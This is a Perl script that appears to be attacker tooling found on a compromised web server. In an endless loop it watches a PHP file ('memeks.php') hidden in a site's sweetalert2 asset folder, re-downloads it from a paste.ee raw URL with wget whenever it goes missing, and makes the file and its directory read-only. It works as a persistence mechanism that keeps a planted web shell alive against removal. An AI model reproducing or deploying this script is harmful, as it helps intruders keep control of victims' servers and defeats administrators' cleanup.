#!/usr/bin/perl
use strict;
use warnings;
use Fcntl ':mode';

my $file_path = '/var/www/atutbandhan.in/public/assets/backend/js/notifications/sweetalert2/memeks.php';
my $directory_path = '/var/www/atutbandhan.in/public/assets/backend/js/notifications/sweetalert2/';

my $download_url = 'https://paste.ee/r/x9RYDQZa/0';

my $target_file_permission = 0444;
my $target_dir_permission = 0555;

print "Monitoring file: $file_path\n";
print "Monitoring directory: $directory_path\n";

while (1) {
    unless (-e $file_path) {
        print "File Not Found! Download Ulang\n";
        system("wget -O $file_path $download_url");
        print "Downloading File.... $file_path\n";
    }

    if (-e $file_path) {
        my $current_file_mode = (stat($file_path))[2] & 0777;

        if ($current_file_mode != $target_file_permission) {
            chmod $target_file_permission, $file_path;
            print "Permission file '$file_path' Change To 0444.\n";
        }
    }

    my $current_dir_mode = (stat($directory_path))[2] & 0777;
    if ($current_dir_mode != $target_dir_permission) {
        chmod $target_dir_permission, $directory_path;
        print "Permission direktori '$directory_path' Change To 0555.\n";
    }
    sleep 1;
}